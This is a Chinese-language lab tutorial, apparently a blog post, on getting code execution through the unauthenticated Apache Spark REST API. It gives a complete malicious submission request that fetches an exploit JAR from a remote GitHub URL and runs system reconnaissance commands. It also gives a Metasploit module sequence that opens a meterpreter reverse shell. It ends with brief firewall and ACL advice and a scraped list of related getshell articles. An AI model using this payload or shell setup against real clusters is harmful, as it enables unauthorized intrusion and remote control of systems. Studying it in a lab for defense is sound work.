文章目录

  • 一、介绍
  • 二、环境搭建
  • 三、攻击方法
    • 3.1 信息收集
    • 3.2 利用方法(方法一)
    • 3.2 利用方法(方法二)
  • 四、防御方法

一、介绍

  apache顶级项目,大规模数据处理计算引擎。为了方便的给使用者控制系统进行计算和查看任务结果,提供了WebUI图形化界面和相应的REST API方便用户操作。支持用户向管理节点提交应用,并分发给集群使用,如果管理节点未启用ACL(访问控制),我们便可在集群中执行任意代码。

二、环境搭建

  • 受害者IP:192.168.226.140(vulhub漏洞靶场、docker)

》》standalone模式启动一个Apache Spark集群

》》查看启动的端口服务

》》浏览器访问即可看到master管理页面:

三、攻击方法

3.1 信息收集

》》nmap扫描对方端口服务信息,如有以下端口开放可能存在漏洞

》》访问web,查看其版本(v2.3.1)

3.2 利用方法(方法一)

使用REST API方式提交应用(standalone模式下,master将在6066端口启动一个HTTP服务器,我们向这个端口提交REST格式的API恶意代码)

  • github地址:https://github.com/aRe00t/rce-over-spark
POST /v1/submissions/create HTTP/1.1
Host: your-ip:6066
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Content-Type: application/json
Connection: close
Content-Length: 680{"action": "CreateSubmissionRequest","clientSparkVersion": "2.3.1","appArgs": ["whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf"],"appResource": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar","environmentVariables": {"SPARK_ENV_LOADED": "1"},"mainClass": "Exploit","sparkProperties": {"spark.jars": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar","spark.driver.supervise": "false","spark.app.name": "Exploit","spark.eventLog.enabled": "true","spark.submit.deployMode": "cluster","spark.master": "spark://your-ip:6066"}
}

Tips:
目标:Host: your-ip:6066
版本:“clientSparkVersion”: “2.3.1”
执行的命令: “appArgs”: [" "]

》》构造好请求包使用发包工具发包即可

》》返回包中会返回submissionid

》》访问http://your-ip:8081/logPage/?driverId={submissionId}&logType=stdout,即可查看执行结果

3.2 利用方法(方法二)

使用Metasploit的exploit模块

  • kali:192.168.226.134

msf5> use exploit/linux/http/spark_unauth_rce
msf5> set payload java/meterpreter/reverse_tcp
msf5> set rhost 192.168.226.140
msf5> set rport 6066
msf5> set lhost 192.168.226.134
msf5> set lport 4444
msf5> set srvhost 192.168.226.134
msf5> set srvport 8080
msf5> exploit

(成功获得shell,查看对方IP信息)

》》可以在web端查看启动的作业

四、防御方法

  1. 限制网络访问(配置防火墙策略,禁止将端口映射到互联网,限制于内网内)
  2. 启用UI访问控制(通过spark.ui.filters设置启用javax servlet filters,通过 SSL 设置启用 HTTPS/SSL,保障 Spark UI 安全)

Spark未授权访问getshell相关推荐

  1. Hadoop 未授权访问 getshell

    漏洞概述 YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建.任务提交执行等操作,如果配置不当,REST API将会开放在公网导致未授权访 ...

  2. redis未授权访问getshell的方式

    redis简介 Redis是一个开源的使用ANSI C语言编写.遵守BSD协议.支持网络.可基于内存亦可持久化的日志型.Key-Value数据库 端口:6379 环境 kali =>192.16 ...

  3. 二十八种未授权访问漏洞合集(暂时最全)

    目录 0x01 未授权漏洞预览 0x02 Active MQ 未授权访问 0x03 Atlassian Crowd 未授权访问 0x04 CouchDB 未授权访问 0x05 Docker 未授权访问 ...

  4. 常用的30+种未授权访问漏洞汇总

    未授权访问漏洞汇总预览 1 .FTP 未授权访问(21) 2 .LDAP 未授权访问(389) 3 .Rsync 未授权访问(873) 4 .ZooKeeper 未授权访问(2181) 5 .Dock ...

  5. 尝试从redis未授权访问到getshell的四种姿势(失败)

    尝试从redis未授权访问到getshell的四种姿势(失败) 使用Goby扫描某SRC的C段,发现一个Redis未授权,经验证漏洞存在,故尝试Getshell提高危害(拿更多赏金) 虽然Getshe ...

  6. Redis 未授权访问漏洞与getshell(附getshell检测工具)

    0x00 Redis简介 Redis 简介. Redis 是完全开源免费的,遵守 BSD 协议,是一个灵活的高性能 key-value 数据结构存储,常见用来作为数据库,其在安全配置问题上存在一些问题 ...

  7. JBoss未授权访问漏洞Getshell过程复现

    文章目录 前言 漏洞复现 漏洞描述 靶场搭建 漏洞利用 防御手段 Jexboss脚本 前言 在 2021 年第五届强网杯全国网络安全挑战赛的 EasyWeb 赛题中遇到了 JBoss 未授权访问漏洞 ...

  8. redis 未授权访问利用 两种方式

    1.未授权访问漏洞 Redis在默认情况下,会绑定在0.0.0.0:6379,如果没有采用限制IP访问,就会将Redis服务暴露在公网上,并且在没有设置密码认证的情况下,会导致任意用户未授权访问Red ...

  9. 哪种修复redis未授权访问漏洞的方法是相对不安全的_关于Linux挖矿、DDOS等应急事件处置方法...

    前言 从去年六月份到现在做的应急响应.事件分析大大小小的做了数百个,主要遇到的有挖矿.DDoS.短信接口盗刷.用户接口泄漏.越权信息获取.挂黑页.删数据等.本文只针对自己做的应急响应中的挖矿和DDoS ...

  10. Jboss未授权访问漏洞记录(影响版本:全版本,端口:80,8080)

    一.前言 漏洞原因:在低版本中,默认可以访问Jboss web控制台(http://127.0.0.1:8080/jmx-console),无需用户名和密码. 二.环境配置 使用docker搭建环境 ...

最新文章

  1. 2020版北大核心期刊目录_榜单|2020武大版核心期刊RCCSE高职高专成高院校学报类自然科学综合、社会科学综合学科权威、核心及准核心期刊目录...
  2. LIB和DLL的区别与使用,非常详细
  3. 【网址收藏】PowerShell因为在此系统中禁止执行脚本的解决方法
  4. 你这么爱听歌,一定活得很难过吧 | 今日最佳
  5. linux远程虚拟桌面,2020-07-23 Linux 远程连接虚拟桌面
  6. uml活动图 各个功能的操作流程和分支_做软件架构设计,你不得不知道这些图...
  7. RSA js 加密解密
  8. maven环境变量的配置与idea中的配置
  9. eclipse默认指向 WebContent 目录 修改为 webRoot
  10. 开启win10隐藏语音库
  11. Web2.0大潮行将衰退 90%相关公司可能消失
  12. 旅客因航班耽搁殴打工作职员被拘
  13. 如何设置计算机自动连接宽带,宽带自动连接设置,教您电脑怎么设置宽带自动连接...
  14. 2017区块链概念股龙头
  15. 实验四 离散傅立叶变换的应用
  16. iar环境下c语言编程,在IAR中编译C程序代码用printf调试
  17. 基于python面向对象多人聊天室
  18. 如何从零开始用 C++ 开发一款游戏引擎?
  19. Linux操作系统的帮助指令详解
  20. 如何找回回收站删除的图片

热门文章

  1. 利用腾讯云函数搭建免费代理池
  2. 翻译:软件测试的未来五个趋势
  3. 【原创】/Restarting/ Splay树 (普通平衡树 文艺平衡树 bzoj1895 poj 2580 SuperMemo 题解)
  4. 光棍.com市场推广策划书(爆笑)
  5. 回溯算法-八皇后问题
  6. python绘制三维动态柱状图-使用pyecharts模块
  7. CocCocoa Touch框架和Cocoa
  8. 手机阅读行业分析(beta)
  9. Python count() 方法
  10. python将数据导入数据库 atomic_使用Atomic